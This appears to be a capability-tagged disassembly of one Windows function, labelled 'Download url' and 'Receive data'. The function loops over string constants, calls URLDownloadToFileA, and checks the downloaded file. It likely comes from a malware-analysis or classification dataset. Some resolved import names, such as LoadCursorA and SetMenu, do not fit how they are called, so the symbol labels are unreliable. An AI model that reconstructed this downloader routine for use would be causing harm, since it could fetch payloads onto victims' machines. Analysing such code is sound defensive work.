Function at 0x452d10
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049b4
mov eax, dword [ebp - 8]
call fcn.004049b4
mov esi, 0x456bf8
mov edi, 0x456bfc
xor eax, eax
push ebp
push 0x45302e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xfe
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_LoadCursorA
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x108]
call fcn.00408ca8
mov edx, dword [ebp - 0x10c]
mov eax, 0x456c00
call fcn.00404558
mov ebx, 1
push 0x453044
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 2
jne 0x452dea
push 0x453054
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 3
jne 0x452e0b
push 0x453068
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 4
jne 0x452e2c
push 0x45307c
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 5
jne 0x452e4d
push 0x453094
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 6
jne 0x452e6e
push 0x4530ac
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 7
jne 0x452e8f
push 0x4530c0
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 8
jne 0x452eb0
push 0x4530d4
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 9
jne 0x452ed1
push 0x4530e8
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
cmp ebx, 0xa
jne 0x452ef2
push 0x4530fc
push dword [edi]
push dword [0x456c10]
push dword [ebp - 4]
mov eax, esi
mov edx, 4
call fcn.00404884
lea ecx, [ebp - 0x110]
mov edx, 0x1fca055
mov eax, dword [esi]
call fcn.00452c64
mov edx, dword [ebp - 0x110]
mov eax, 0x456c04
call fcn.00404558
mov eax, 0x456c08
mov edx, dword [0x456c04]
call fcn.00404558
push 0
push 0
lea eax, [ebp - 0x114]
mov ecx, dword [ebp - 8]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x114]
call fcn.004049c4
push eax
mov eax, dword [0x456c08]
call fcn.004049c4
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov eax, dword [ebp - 8]
mov edx, dword [0x456c1c]
call fcn.00404910
jne 0x452fd1
lea eax, [ebp - 0x11c]
mov ecx, dword [ebp - 8]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x11c]
call fcn.004049c4
mov edx, eax
lea eax, [ebp - 0x118]
call fcn.004046fc
mov eax, dword [ebp - 0x118]
call fcn.004088e4
test al, al
je 0x452fd1
push 5
lea eax, [ebp - 0x120]
mov ecx, dword [ebp - 8]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x120]
call fcn.004049c4
push eax
call sub.user32.dll_SetMenu
mov ebx, 9
lea eax, [ebp - 0x124]
mov ecx, dword [ebp - 8]
mov edx, dword [0x456c00]
call fcn.00404810
mov eax, dword [ebp - 0x124]
call fcn.004088e4
test al, al
je 0x452ff9
mov ebx, 9
inc ebx
cmp ebx, 0xa
jl 0x452dad
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453035
lea eax, [ebp - 0x124]
mov edx, 7
call fcn.00404528
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404528
ret